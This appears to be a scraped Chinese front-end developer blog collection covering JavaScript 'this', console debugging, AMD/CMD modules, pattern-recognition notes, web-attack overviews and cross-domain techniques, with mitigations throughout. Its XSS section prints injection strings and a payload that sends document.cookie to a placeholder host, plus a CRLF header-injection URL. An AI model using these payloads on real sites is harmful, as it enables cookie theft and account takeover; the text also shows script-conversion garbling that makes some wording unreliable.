}//this就是car這個對象
Benz.sayHi = f
Benz.sayHi() ;
（2）函數以內調用
當函數中有 this，其實就意味着它被當作方法調用，之間調用至關於把他當作window對象的方法，this指向window.
function func() {
alert(this) // this指向window
}
func()
總之，若是this沒有被設置，則默認指向全局對象，其一般是window
操做this的另外一種方式是經過call、apply和bind。三種方法都被用於調用一個函數，並能指定this的上下文，你可讓代碼使用你規定的對象，而不是依靠瀏覽器去計算出this指向什麼。
參考：
讓js調試更簡單—console
1、顯示信息的命令
- console.log 用於輸出普通訊息
- console.info 用於輸出提示性信息
- console.error用於輸出錯誤信息
- console.warn用於輸出警示信息
最經常使用的就是console.log了。
2、佔位符
console上述的集中度支持printf的佔位符格式，支持的佔位符有：字符（%s）、整數（%d或%i）、浮點數（%f）和對象（%o）:
<script type="text/javascript">
console.log("%d年%d月%d日",2011,3,26);
</script>
%o、%O都是用來輸出Object對象的，對普通的Object對象，二者沒區別，可是打印dom節點時就不同了：
// 格式成可展開的的DOM，像在開發者工具Element面板那樣可展開
console.log('%o',document.body.firstElementChild);
// 像JS對象那樣訪問DOM元素，可查看DOM元素的屬性
// 等同於console.dir(document.body.firstElementChild)
console.log('%O',document.body.firstElementChild);
%c佔位符是最經常使用的。使用%c佔位符時，對應的後面的參數必須是CSS語句，用來對輸出內容進行CSS渲染。常見的輸出方式有兩種：文字樣式、圖片輸出。
3、顯示某個節點的內容
<!DOCTYPE html>
<html>
<head>
<title>經常使用console命令</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<div id="info">
<h3>個人博客：http://www.cnblogs.com/chaoran/</h3>
</div>
<script type="text/javascript">
var info = document.getElementById('info');
console.dirxml(info);
</script>
</body>
</html>
4、判斷變量是不是真
console.assert()用來判斷一個表達式或變量是否爲真。若是結果爲否，則在控制檯輸出一條相應信息，而且拋出一個異常。
console.assert對輸入的表達式進行斷言，只有表達式爲false時，才輸出相應的信息到控制檯。
<script type="text/javascript"> var result = 1; console.assert( result ); var year = 2014; console.assert(year == 2018 ); </script>
1是非0值，是真；而第二個判斷是假，在控制檯顯示錯誤信息
5、追蹤函數的調用軌跡
console.trace()用來追蹤函數的調用軌跡。
<script type="text/javascript">
/*函數是如何被調用的，在其中加入console.trace()方法就能夠了*/
function add(a,b){
console.trace();
return a+b;
}
var x = add3(1,1);
function add3(a,b){return add2(a,b);}
function add2(a,b){return add1(a,b);}
function add1(a,b){return add(a,b);}
</script>
控制檯輸出信息：
6、計時功能
console.time()和console.timeEnd()，用來顯示代碼的運行時間。
<script type="text/javascript">
console.time("控制檯計時器一");
for(var i=0;i<1000;i++){
for(var j=0;j<1000;j++){}
}
console.timeEnd("控制檯計時器一");
</script>
7、console.profile()的性能分析
性能分析（Profiler）就是分析程序各個部分的運行時間，找出瓶頸所在，使用的方法是console.profile()。
<script type="text/javascript">
function All(){
alert(11);
for(var i=0;i<10;i++){
funcA(1000);
}
funcB(10000);
}
function funcA(count){
for(var i=0;i<count;i++){}
}
function funcB(count){
for(var i=0;i<count;i++){}
console.profile('性能分析器');
All();
console.profileEnd();
｝
</script>
參考：
AMD && CMD
前言
JavaScript初衷：實現簡單的頁面交互邏輯，寥寥數語便可；
隨着web2.0時代的到來，Ajax技術獲得普遍應用，jQuery等前端庫層出不窮，前端代碼日益膨脹
問題：
這時候JavaScript做爲嵌入式的腳本語言的定位動搖了，JavaScript卻沒有爲組織代碼提供任何明顯幫助，甚至沒有類的概念，JavaScript極其簡單的代碼組織規範不足以駕馭如此龐大規模的代碼
1、模塊
模塊化：是一種處理複雜系統分解爲代碼結構更合理，可維護性更高的可管理的模塊的方式。
在理想狀態下咱們只須要完成本身部分的核心業務邏輯代碼，其餘方面的依賴能夠經過直接加載被人已經寫好模塊進行使用便可。
2、CommonJS
CommonJs 是服務器端模塊的規範，Node.js採用了這個規範。
根據CommonJS規範，一個單獨的文件就是一個模塊。加載模塊使用require方法，該方法讀取一個文件並執行，最後返回文件內部的exports對象。
var math = require('math');
math.add(2, 3);
第二行math.add(2, 3)，在第一行require('math')以後運行，所以必須等math.js加載完成。也就是說，若是加載時間很長，整個應用就會停在那裏等。您會注意到 require 是同步的。
CommonJS 加載模塊是同步的，因此只有加載完成才能執行後面的操做。像Node.js主要用於服務器的編程，加載的模塊文件通常都已經存在本地硬盤，因此加載起來比較快，不用考慮異步加載的方式，因此CommonJS規範比較適用。但若是是瀏覽器環境，要從服務器加載模塊，這是就必須採用異步模式。因此就有了 AMD CMD 解決方案。
3、AMD
AMD 即Asynchronous Module Definition，中文名是異步模塊定義的意思。它是一個在瀏覽器端模塊化開發的規範
AMD也採用require()語句加載模塊，可是不一樣於CommonJS，它要求兩個參數：
require([module], callback);
第一個參數[module]，是一個數組，裏面的成員就是要加載的模塊；第二個參數callback，則是加載成功以後的回調函數。若是將前面的代碼改寫成AMD形式，就是下面這樣：
require(['math'], function (math) {
math.add(2, 3);
});
math.add()與math模塊加載不是同步的，瀏覽器不會發生假死。因此很顯然，AMD比較適合瀏覽器環境。目前，主要有兩個Javascript庫實現了AMD規範：require.js和curl.js。
與 RequireJS
AMD 是 RequireJS 在推廣過程當中對模塊定義的規範化產出
AMD異步加載模塊。它的模塊支持對象 函數 構造器 字符串 JSON等各類類型的模塊。
//經過數組引入依賴 ，回調函數經過形參傳入依賴
define(['Module1', ‘Module2’], function (Module1, Module2) {
function foo () {
/// someing
Module1.test();
}
return {foo: foo}
});
- 第一個參數 id 爲字符串類型，表示了模塊標識，爲可選參數。若不存在則模塊標識應該默認定義爲在加載器中被請求腳本的標識。若是存在，那麼模塊標識必須爲頂層的或者一個絕對的標識。
- 第二個參數，dependencies ，是一個當前模塊依賴的，已被模塊定義的模塊標識的數組字面量。
- 第三個參數，factory，是一個須要進行實例化的函數或者一個對象。
AMD規範容許輸出模塊兼容CommonJS規範，這時define方法以下：
define(function (require, exports, module) {
var reqModule = require("./someModule");
requModule.test();
exports.asplode = function () {
//someing
}
});
4、CMD
CMD是SeaJS 在推廣過程當中對模塊定義的規範化產出
CMD和AMD的區別有如下幾點：
1.對於依賴的模塊AMD是提早執行，CMD是延遲執行。不過RequireJS從2.0開始，也改爲能夠延遲執行（根據寫法不一樣，處理方式不經過）。
2.AMD推崇依賴前置（在定義模塊的時候就要聲明其依賴的模塊），CMD推崇依賴就近（只有在用到某個模塊的時候再去require）。
//AMD
define(['./a','./b'], function (a, b) {
//依賴一開始就寫好
a.test();
b.test();
});
//CMD
define(function (requie, exports, module) {
//依賴能夠就近書寫
var a = require('./a');
a.test();
...
//軟依賴
if (status) {
var b = requie('./b');
b.test();
}
});
3.AMD的api默認是一個當多個用，CMD嚴格的區分推崇職責單一。例如：AMD裏require分全局的和局部的。CMD裏面沒有全局的 require,提供 seajs.use()來實現模塊系統的加載啓動。CMD裏每一個API都簡單純粹。
AMD 是 RequireJS 在推廣過程當中對模塊定義的規範化產出，CMD是SeaJS 在推廣過程當中被普遍認知。RequireJs出自dojo加載器的做者James Burke，SeaJs出自國內前端大師玉伯。兩者的區別，玉伯在12年如是說：
RequireJS 和 SeaJS 都是很不錯的模塊加載器，二者區別以下：
1. 二者定位有差別。RequireJS 想成爲瀏覽器端的模塊加載器，同時也想成爲 Rhino / Node 等環境的模塊加載器。SeaJS 則專一於 Web 瀏覽器端，同時經過 Node 擴展的方式能夠很方便跑在 Node 服務器端 2. 二者遵循的標準有差別。RequireJS 遵循的是 AMD（異步模塊定義）規範，SeaJS 遵循的是 CMD （通用模塊定義）規範。規範的不一樣，致使了二者API 的不一樣。SeaJS 更簡潔優雅，更貼近 CommonJS Modules/1.1 和 Node Modules 規範。 3. 二者社區理念有差別。RequireJS 在嘗試讓第三方類庫修改自身來支持 RequireJS，目前只有少數社區採納。SeaJS 不強推，而採用自主封裝的方式來「海納百川」，目前已有較成熟的封裝策略。 4. 二者代碼質量有差別。RequireJS 是沒有明顯的 bug，SeaJS 是明顯沒有 bug。 5. 二者對調試等的支持有差別。SeaJS 經過插件，能夠實現 Fiddler 中自動映射的功能，還能夠實現自動 combo 等功能，很是方便便捷。RequireJS無這方面的支持。 6. 二者的插件機制有差別。RequireJS 採起的是在源碼中預留接口的形式，源碼中留有爲插件而寫的代碼。SeaJS 採起的插件機制則與 Node 的方式一致開放自身，讓插件開發者可直接訪問或修改，從而很是靈活，能夠實現各類類型的插件。
參考：
模式識別課程筆記（一）
1、模式識別(pattern recognition)
人類在識別和分辨事物時，每每是在先驗知識和以往對此類事物的多個具體實例觀察基礎上產生的總體性質和特徵的認識。
其實，每一種外界事物均可以看做是一種模式，人們對外界事物的識別，很大部分是把事物進行分類來完成的。
中文中：模式==類
簡單來講就是一種規律，識別主是對事物對象進行分門別類，模式識別能夠看做對模式的區分和認識，是事物樣本到類別的映射；
英文中：pattern則表示兩層意思
一層表明事物的模板或原形，第二層則是表徵事物特色的特徵或性狀組合。
在模式識別學科中，模式能夠看作是對象的組成成分或影響因素間存在的規律性關係，或者是因素間存在的肯定性或隨機性規律的對象、過程或事件的集合。
所以，也有人把模式成爲模式類，模式識別也被稱做爲模式分類（Pattern Classification）。
專業術語：
- 樣本（sample），一個個體對象，注意與統計學中的不一樣，相似於統計學中的實例（instance）；
- 樣本集（sample set）：若干樣本的集合，統計學中的樣本就是指樣本集；
- 類或類別（class）：具備相同模式的樣本集，該樣本集是全體樣本的子集；
習慣性地，咱們用w1，w2等來表示類別，兩類問題中也會用{0,1}或{-1,1}； - 特徵（feature）：也稱爲屬性，一般指樣本的某些能夠用數值去量化的特徵，若是有多個特徵，則能夠組合成特徵向量（feature vector）。樣本的特徵構成了樣本特徵空間，空間的維數就是特徵的個數，每個樣本就是特徵空間中的一個點。
- 已知樣本（known sample）：已經事先知道類別的樣本；
- 未知樣本（unknown sample）：類別標籤未知但特徵已知的樣本；
2、模式識別類型
1.監督模式識別
特色：要劃分的類別是已知的，而且可以得到必定數量的類別已知的訓練樣本。
這種狀況下的機器學習的過程稱爲監督學習（有導師學習）。
2.非監督模式識別
特色：事先並不知道要劃分的類別有哪些，甚至可能連要劃分類別的數目也不知道，而且沒有任何已知樣本能夠用來訓練。
這種狀況下要根據提取到的樣本特徵將樣本聚成幾個類，屬於同一類的樣本從某個角度上看具備必定的類似性，而不一樣類之間的樣本差別則較大。這種機器學習的過程稱爲非監督學習（無導師學習），也成爲聚類。
須要注意的是，在不少非監督模式識別中，聚類的結果不是惟一的，由於「類似」是從某個角度看上去的類似，這裏的角度就是前面提到的特徵。根據樣本特徵向量中的不一樣特徵去聚類，會獲得不一樣的結果。
舉個例子：假設提取到的4個樣本y1,y2,y3,y4的特徵向量分別爲
x1=(red,rounded,hollow)
x2=(red,rectangular,hollow)
x3=(blue,rounded,solid)
x4=(blue,rectangular,hollow)
若按特徵向量的第一個特徵（顏色）去聚類時，y1,y2聚爲一類，y3,y4聚爲一類；若按第二個特徵（形狀）去聚類時，y1,y3聚爲一類,y2,y4聚爲一類；若按第三個特徵（空心/實心）去聚類時，y1,y2,y4聚爲一類，y3自成一類。
這很好的解釋了聚類結果的非惟一性，這也是非監督模式識別與監督模式識別的一個重要差異。
| 監督學習 | 非監督學習 |
| 有導師 | 無導師 |
| 要劃分的類別已知 | 事先不知要劃分類別 |
| 訓練中可知模型決策結果 | 不知是否有錯 |
| 神經網絡、決策樹 | k-均值聚類法 |
3. 增強學習
不提供設計種類，基於導師提供試驗反饋（如決策是否正確）
3、模式識別系統
一個模式識別系統的典型構成包括：預處理，特徵選擇與提取，分類或聚類，後處理四個主要部分。
例子：
假設有兩種魚：鱸魚、鮭魚
問題：在傳送帶上分類
步驟：
感知（sensing）
格式化能被機器感知的對象
可能致使的問題：
光線條件，魚的位置，相機噪音等等
預處理（preprocessing）
改善數據
特徵提取（feature extraction）
什麼樣的特徵能夠區分不一樣種類
分類（classification）
支持向量機、決策樹等
模式識別系統
- 數據獲取&感知
測量物理變量
基於樣本質量，只有典型樣本有用，時間和成本是限制條件 - 預處理
移除噪音、隔離背景 - 特徵提取
- 模式學習/估計
學習特徵與模式類別的映射關係 - 分類
- 輸出處理
4、評價標準
訓練精度
過擬合問題
測試精度
參考連接：
http://blog.csdn.net/SCUT_Arucee/article/details/45250643
https://zhuanlan.zhihu.com/p/22668576
web攻擊
1、XSS（跨站腳本攻擊）
最多見和基本的攻擊WEB網站的方法。攻擊者在網頁上發佈包含攻擊性代碼的數據。當瀏覽者看到此網頁時，特定的腳本就會以瀏覽者用戶的身份和權限來執行。經過XSS能夠比較容易地修改用戶數據、竊取用戶信息，以及形成其它類型的攻擊，例如CSRF攻擊
常看法決辦法:確保輸出到HTML頁面的數據以HTML的方式被轉義
詳見博文：web安全之XSS
2、CSRF（跨站請求僞造攻擊 Cross-site request forgery）
經過各類方法僞造一個請求，模仿用戶提交表單的行爲，從而達到修改用戶的數據，或者執行特定任務的目的。爲了假冒用戶的身份，CSRF攻擊經常和XSS攻擊配合起來作，但也能夠經過其它手段，例如誘使用戶點擊一個包含攻擊的連接
目前國內有大量路由器存在 CSRF 漏洞，其中至關部分用戶使用默認的管理帳號。經過外鏈圖片，便可發起對路由器 DNS 配置的修改，這將成爲國內互聯網最大的安全隱患。
案例：
百度旅遊在富文本過濾時，未考慮標籤的 style 屬性，致使容許用戶自定義的 CSS。所以能夠插入站外資源：
全部瀏覽該頁面的用戶，都能發起任意 URL 的請求：
因爲站外服務器徹底不受控制，攻擊者能夠控制返回內容：
-
若是檢測到是管理員，或者外鏈檢查服務器，能夠返回正常圖片；
-
若是是普通用戶，能夠返回 302 重定向到其餘 URL，發起 CSRF 攻擊。例如修改路由器 DNS
防範措施：
1. 杜絕用戶的一切外鏈資源。須要站外圖片，能夠抓回後保存在站內服務器裏。
2. 對於富文本內容，使用白名單策略，只容許特定的 CSS 屬性。
3. 儘量開啓 Content Security Policy 配置，讓瀏覽器底層來實現站外資源的攔截。
4. 採用POST請求,增長攻擊的難度.用戶點擊一個連接就能夠發起GET類型的請求。而POST請求相對比較難，攻擊者每每須要藉助javascript才能實現
5. 對請求進行認證，確保該請求確實是用戶本人填寫表單並提交的，而不是第三者僞造的.具體能夠在會話中增長token,確保看到信息和提交信息的是同一我的
3、Http Heads攻擊
HTTP協議在Response header和content之間，有一個空行，即兩組CRLF（0x0D 0A）字符。這個空行標誌着headers的結束和content的開始。「聰明」的攻擊者能夠利用這一點。只要攻擊者有辦法將任意字符「注入」到headers中，這種攻擊就能夠發生
案例：
url：http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
當登陸成功之後，須要重定向回page參數所指定的頁面。下面是重定向發生時的response headers.
假如把URL修改一下，變成這個樣子：
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
這個頁面可能會意外地執行隱藏在URL中的javascript。相似的狀況不只發生在重定向（Location header）上，也有可能發生在其它headers中，如Set-Cookie header。這種攻擊若是成功的話，能夠作不少事，例如：執行腳本、設置額外的cookie（<CRLF>Set-Cookie: evil=value）等。
避免這種攻擊的方法，就是過濾全部的response headers，除去header中出現的非法字符，尤爲是CRLF。
4、Cookie攻擊
經過Java Script很是容易訪問到當前網站的cookie。你能夠打開任何網站，而後在瀏覽器地址欄中輸入：javascript:alert(doucment.cookie),馬上就能夠看到當前站點的cookie（若是有的話）。攻擊者能夠利用這個特性來取得你的關鍵信息。例如，和XSS攻擊相配合，攻擊者在你的瀏覽器上執行特定的Java Script腳本，取得你的cookie。假設這個網站僅依賴cookie來驗證用戶身份，那麼攻擊者就能夠假冒你的身份來作一些事情。
如今多數瀏覽器都支持在cookie上打上HttpOnly的標記,凡是有這個標誌的cookie就沒法經過Java Script來取得,若是能在關鍵cookie上打上這個標記，就會大大加強cookie的安全性
5、重定向攻擊
一種經常使用的攻擊手段是「釣魚」。釣魚攻擊者，一般會發送給受害者一個合法連接，當連接被點擊時，用戶被導向一個似是而非的非法網站，從而達到騙取用戶信任、竊取用戶資料的目的。
爲防止這種行爲,咱們必須對全部的重定向操做進行審覈,以免重定向到一個危險的地方.
案例：
攻擊者發一個吸引用戶的帖子。當用戶進來時，引誘他們點擊超連接。
一般故意放少部分的圖片，或者是不會動的動畫，先讓用戶預覽一下。要是用戶想看完整的，就得點下面的超連接：
因爲擴展名是 gif 等圖片格式，大多用戶就毫無顧慮的點了。
事實上，真正的類型是由服務器返回的 MIME 決定的。因此這個站外資源徹底有多是一個網頁：
當用戶停留在新頁面裏看動畫時，隱匿其中的腳本已悄悄跳轉原頁面了。
用戶切回原頁面時，其實已在一個釣魚網站上：
在此之上，加些浮層登陸框等特效，頗有可能釣到用戶的一些帳號信息。
對頁面中的用戶發佈的超連接，監聽其點擊事件，阻止默認的彈窗行爲，而是用 window.open 代替，並將返回窗體的 opener 設置爲 null，便可避免第三方頁面篡改了。
釣魚網站常看法決方案是白名單,將合法的要重定向的url加到白名單中,非白名單上的域名重定向時拒之；
第二種解決方案是重定向token,在合法的url上加上token,重定向時進行驗證.
6、上傳文件攻擊
1.文件名攻擊
上傳的文件採用上傳以前的文件名,可能形成:客戶端和服務端字符碼不兼容,致使文件名亂碼問題;文件名包含腳本,從而形成攻擊.
2.文件後綴攻擊
上傳的文件的後綴多是exe可執行程序,js腳本等文件,這些程序可能被執行於受害者的客戶端,甚至可能執行於服務器上.所以咱們必須過濾文件名後綴,排除那些不被許可的文件名後綴.
3.文件內容攻擊
IE6有一個很嚴重的問題 , 它不信任服務器所發送的content type，而是自動根據文件內容來識別文件的類型，並根據所識別的類型來顯示或執行文件.若是上傳一個gif文件,在文件末尾放一段js攻擊腳本,就有可能被執行.這種攻擊,它的文件名和content type看起來都是合法的gif圖片,然而其內容卻包含腳本,這樣的攻擊沒法用文件名過濾來排除，而是必須掃描其文件內容，才能識別。
感謝原博主們的技術分享~
參考連接：
http://www.myexception.cn/web/474892.html
http://fex.baidu.com/blog/2014/06/web-sec-2014/?qq-pf-to=pcqq.c2c
目錄
HTML 5
CSS
$(#form :input)與$(#form input)的區別
JavaScript相關
document.body.scrollTop與document.documentElement.scrollTop兼容
;function($,undefined) 前面的分號是什麼用處
參數傳遞的四種形式----- URL，超連接，js，form表單
ECMAScript 筆記
react
vue
前端總結（安全、性能、小tips）
前端工具篇
協議&&跨域
數學
模式識別
閒情小記
web安全之XSS
Web安全之 XSS
XSS： (Cross Site Scripting) 跨站腳本攻擊， 是Web程序中最多見的漏洞。
指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時，腳本就會在用戶的瀏覽器上執行，從而達到攻擊者的目的. 好比獲取用戶的Cookie，導航到惡意網站,攜帶木馬等。
1、產生緣由
假若有下面一個textbox
<input type="text" name="address1" value="value1from">
value1from是來自用戶的輸入，若是用戶不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代碼將會被執行
或者用戶輸入的是 "onfocus="alert(document.cookie) 那麼就會變成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被觸發的時候嵌入的JavaScript代碼將會被執行
攻擊的威力，取決於用戶輸入了什麼樣的腳本
HTML Encode
XSS之因此會發生， 是由於用戶輸入的數據變成了代碼。 因此咱們須要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號"， 「單引號」，「引號」 之類的特殊字符進行編碼。
2、攻擊場景
- Reflected XSS（基於反射的XSS攻擊）
- Stored XSS（基於存儲的XSS攻擊）
- DOM-based or local XSS（基於DOM或本地的XSS攻擊）
1. Reflected XSS
主要依靠站點服務端返回腳本，在客戶端觸發執行從而發起Web攻擊。
假如在某搜索網站搜索內容，填入「<script>alert('handsome boy')</script>」, 點擊搜索。
當前端頁面沒有對返回的數據進行過濾，直接顯示在頁面上， 這時就會alert那個字符串出來。 進而能夠構造獲取用戶cookies的地址，經過QQ羣或者垃圾郵件，來讓其餘人點擊這個地址：
http://www...../search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
開發安全措施：
1） 前端在顯示服務端數據時候，不只是標籤內容須要過濾、轉義，就連屬性值也均可能須要。
2） 後端接收請求時，驗證請求是否爲攻擊請求，攻擊則屏蔽。
2. Stored XSS
經過發表帶有惡意跨域腳本的帖子/文章，從而把惡意腳本存儲在服務器，每一個訪問該帖子/文章的人就會觸發執行。
例子：
1. 發一篇文章，裏面包含了惡意腳本
今每天氣不錯啊！<script>alert('handsome boy')</script>
2. 後端沒有對文章進行過濾，直接保存文章內容到數據庫。
3. 當其餘看這篇文章的時候，包含的惡意腳本就會執行。
PS：由於大部分文章是保存整個HTML內容的，前端顯示時候也不作過濾，就很可能出現這種狀況。
結論：
後端儘量對提交數據作過濾，在場景需求而不過濾的狀況下，前端就須要作些處理了。
開發安全措施：
1） 首要是服務端要進行過濾，由於前端的校驗能夠被繞過。
2） 當服務端不校驗時候，前端要以各類方式過濾裏面可能的惡意腳本，例如script標籤，將特殊字符轉換成HTML編碼。
3. Dom-Based XSS
基於DOM或本地的XSS攻擊。通常是提供一個免費的wifi，可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面，從而植入惡意腳本。這種直接存在於頁面，無須通過服務器返回就是基於本地的XSS攻擊。
例子1：
1） 提供一個免費的wifi。
2） 開啓一個特殊的DNS服務，將全部域名都解析到咱們的電腦上，並把Wifi的DHCP-DNS設置爲咱們的電腦IP。
3） 以後連上wifi的用戶打開任何網站，請求都將被咱們截取到。咱們根據http頭中的host字段來轉發到真正服務器上。
4） 收到服務器返回的數據以後，咱們就能夠實現網頁腳本的注入，並返回給用戶。
5） 當注入的腳本被執行，用戶的瀏覽器將依次預加載各大網站的經常使用腳本庫。
這個其實就是wifi流量劫持，中間人能夠看到用戶的每個請求，能夠在頁面嵌入惡意代碼，使用惡意代碼獲取用戶的信息，能夠返回釣魚頁面。
結論：
這攻擊其實跟網站自己沒有什麼關係，只是數據被中間人獲取了而已，而因爲HTTP是明文傳輸的，因此是很可能被竊取的。
開發安全措施：
1. 使用HTTPS！HTTPS會在請求數據以前進行一次握手，使得客戶端與服務端都有一個私鑰，服務端用這個私鑰加密，客戶端用這個私鑰解密，這樣即便數據被人截取了，也是加密後的數據。
漏洞恢復
- 將重要的cookie標記爲http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
- 只容許用戶輸入咱們指望的數據。 例如： 年齡的textbox中，只容許用戶輸入數字。 而數字以外的字符都過濾掉。
- 對數據進行Html Encode 處理
- 過濾或移除特殊的Html標籤， 例如: <script>, <iframe> , < for <, > for >, " for
- 過濾JavaScript 事件的標籤。例如 "onclick=", "onfocus" 等等。
參考連接
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
http://www.cnblogs.com/lovesong/p/5199623.html
https://www.cnblogs.com/index-html/p/wifi_hijack_3.html
JSONP && CORS
前天面試被問到了跨域的問題，自我感受回答的並不理想，下面我就分享一下整理後的總結分享給你們
1、爲何要跨域
安全限制
JavaScript或Cookie只能訪問同域下的內容——同源策略
同源策略
下表相對於： http://h5.jd.com/dir/ajax.js
注意
- 協議和端口形成的跨域問題，非前端解決範疇
- 所謂域，是經過「url首部」來識別，而非判斷域與ip的對應關係
（「URL的首部」指window.location.protocol +window.location.host）
2、跨域方案
1. jsonp
原理
HTML裏面全部帶src屬性的標籤均可以跨域，如iframe，img，script等。
因此能夠把須要跨域的請求改爲用script腳本加載便可，服務器返回執行字符串，可是這個字符串是在window全局做用域下執行的，你須要把他返回到你的代碼的做用域內，這裏就須要臨時建立一個全局的回調函數，並把到傳到後臺，最後再整合實際要請求的數組，返回給前端，讓瀏覽器直接調用，用回調的形式回到你的原代碼流程中。
- 首先，利用 script 標籤的 src 屬性實現跨域
- 經過將前端方法做爲參數傳遞到服務器端，而後由服務器注入參數以後再返回，實現服務器端向客戶端通訊
- 因爲使用script 標籤的src 屬性，所以只支持 get 方法
一個簡單的jsonp實現，其實就是拼接url，而後將動態添加一個script元素到頭部
1. 設定一個script標籤 <script src="http://jsonp.js?callback=xxx"></script> 2. 服務器 $callback = !empty($_GET['callback'] ? $_GET['callback'] : 'callback'); echo $callback.'(.json_encode($data).)';
詳見博客 JSON 和 JSONP兩兄弟
2. cors
| JSONP | CORS | |
| 目的 | 跨域 | 跨域 |
| 支持 | get （受IE下url長度不能超過2083個字節的限制和出於安全考慮，通常不用來提交數據） |
全部類型的http請求 |
| 支持度 | 包括老式瀏覽器 | 不支持部分瀏覽器，移動端支持很好 |
| 缺點 | 1）安全問題（請求代碼中可能存在安全隱患） 2）肯定jsonp請求是否失敗不太容易 3）只支持跨域HTTP請求這種狀況，不能解決不一樣域的兩個頁面之間如何進行JavaScript調用的問題 |
支持率 |
| 原理 | 被包含在一個回調函數中的JSON 核心則是動態添加<script>標籤來調用服務器提供的js腳本 （容許用戶傳遞一個callback參數給服務端，而後服務端返回數據時會將這個callback參數做爲函數名來包裹住JSON數據，這樣客戶端就能夠隨意定製本身的函數來自動處理返回數據了） |
使用自定義的HTTP頭部讓瀏覽器與服務器進行溝通，從而決定請求或響應是應該成功，仍是應該失敗 （只需由服務器發送一個響應標頭便可） |
CORS須要瀏覽器和服務器同時支持
實現CORS通訊的關鍵是服務器，只要服務器實現了CORS接口，就能夠跨域通訊
1）兩種請求方式
簡單請求、非簡單請求
a）簡單請求：
跨域時，瀏覽器自動在頭部信息中添加一個origin 字段（指定請求源-協議+域名+端口），以下圖所示
服務器判斷origin在域名許可範圍內，返回響應：
若不存在 Access-Control-Allow-Origin 字段，則出錯
以上頭部信息中，CORS相關字段有
- Access-Control-Allow-Origin
必須字段，其值爲 origin / *（可接受任意域名請求） - Access-Control-Allow-Credentials
可選，是否容許發送Cookie - Access-Control-Expose-Headers
可選，是否須要Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma以外的字段
withCredentials 屬性
CORS請求默認不發送Cookie和HTTP認證信息。若是要把Cookie發到服務器，一方面要服務器贊成，指定Access-Control-Allow-Credentials字段
Access-Control-Allow-Credentials: true
另外一方面，開發者必須在AJAX請求中打開withCredentials屬性。
var xhr = new XMLHttpRequest(); xhr.withCredentials = true;
注意
若是要發送Cookie，Access-Control-Allow-Origin就不能設爲星號，必須指定明確的、與請求網頁一致的域名。同時，Cookie依然遵循同源政策，只有用服務器域名設置的Cookie纔會上傳，其餘域名的Cookie並不會上傳，且（跨源）原網頁代碼中的document.cookie也沒法讀取服務器域名下的Cookie。
b）非簡單請求（不一樣時知足以上條件）
請求方法是PUT或DELETE，或者Content-Type字段的類型是application/json
瀏覽器對於非簡單請求，就自動發出一個"預檢"請求，要求服務器確承認以這樣請求。下面是這個"預檢"請求的HTTP頭信息
除了Origin字段，"預檢"請求的頭信息包括兩個特殊字段。
- Access-Control-Request-Method
該字段是必須的，用來列出瀏覽器的CORS請求會用到哪些HTTP方法，上例是PUT。
- Access-Control-Request-Headers
該字段是一個逗號分隔的字符串，指定瀏覽器CORS請求會額外發送的頭信息字段，上例是X-Custom-Header。
2.CORS 支持度
3. document.domain
兩個網頁一級域名相同，只是二級域名不一樣，瀏覽器容許經過設置document.domain共享 Cookie。
舉例來講，A網頁是http://w1.example.com/a.html，B網頁是http://w2.example.com/b.html，那麼只要設置相同的document.domain，兩個網頁就能夠共享Cookie
document.domain = 'example.com';
如今，A網頁經過腳本設置一個 Cookie
document.cookie = "test1=hello";
B網頁就能夠讀到這個 Cookie。
var allCookie = document.cookie;
注意，這種方法只適用於 Cookie 和 iframe 窗口，LocalStorage 和 IndexDB 沒法經過這種方法，規避同源政策，而要使用下文介紹的PostMessage API。
4. iframe
（只有在主域相同時才能使用）
1）www.a.com/a.html中：
document.domain = 'a.com';
var ifr = document.createElement('iframe');
ifr.src = 'http://www.script.a.com/b.html';
ifr.display = none;
document.body.appendChild(ifr);
ifr.onload = function(){
var doc = ifr.contentDocument || ifr.contentWindow.document;
//在這裏操做doc，也就是b.html
ifr.onload = null;
};
2) 在www.script.a.com/b.html中：
document.domain = 'a.com';
5. window.postMessage：
該方法是 HTML5 新引進的特性，能夠使用它來向其它的window對象發送消息，不管這個window對象是屬於同源或不一樣源，目前IE8+、FireFox、Chrome、Opera等瀏覽器都已經支持window.postMessage方法。
window.postMessage的功能是容許程序員跨域在兩個窗口/frames間發送數據信息。基本上，它就像是跨域的AJAX，但不是瀏覽器跟服務器之間交互，而是在兩個客戶端之間通訊
postMessage方法的第一個參數是具體的信息內容，第二個參數是接收消息的窗口的源（origin），即"協議 + 域名 + 端口"。也能夠設爲*，表示不限制域名，向全部窗口發送。
子窗口向父窗口發送消息的寫法相似。
window.opener.postMessage('Nice to see you', 'http://aaa.com');
父窗口和子窗口均可以經過message事件，監聽對方的消息。
window.addEventListener('message', function(e) {
console.log(e.data);
},false);
message事件的事件對象event，提供如下三個屬性。
event.source：發送消息的窗口event.origin: 消息發向的網址event.data: 消息內容
下面的例子是，子窗口經過event.source屬性引用父窗口，而後發送消息。
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
event.source.postMessage('Nice to see you!', '*');
}
event.origin屬性能夠過濾不是發給本窗口的消息。
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
if (event.origin !== 'http://aaa.com') return;
if (event.data === 'Hello World') {
event.source.postMessage('Hello', event.origin);
} else {
console.log(event.data);
}
}
【a.qq.com頁面代碼】
【b.qq.com頁面代碼】
以上demo簡單解決了前端跨域通訊，跨域帶cookie等問題，在邏輯上徹底能夠實現跨域通訊。可是對於不支持PostMessage特性的老版瀏覽器是行不通的。好比IE8-瀏覽器就不能很好的支持PostMessage特性
6. 服務端代理
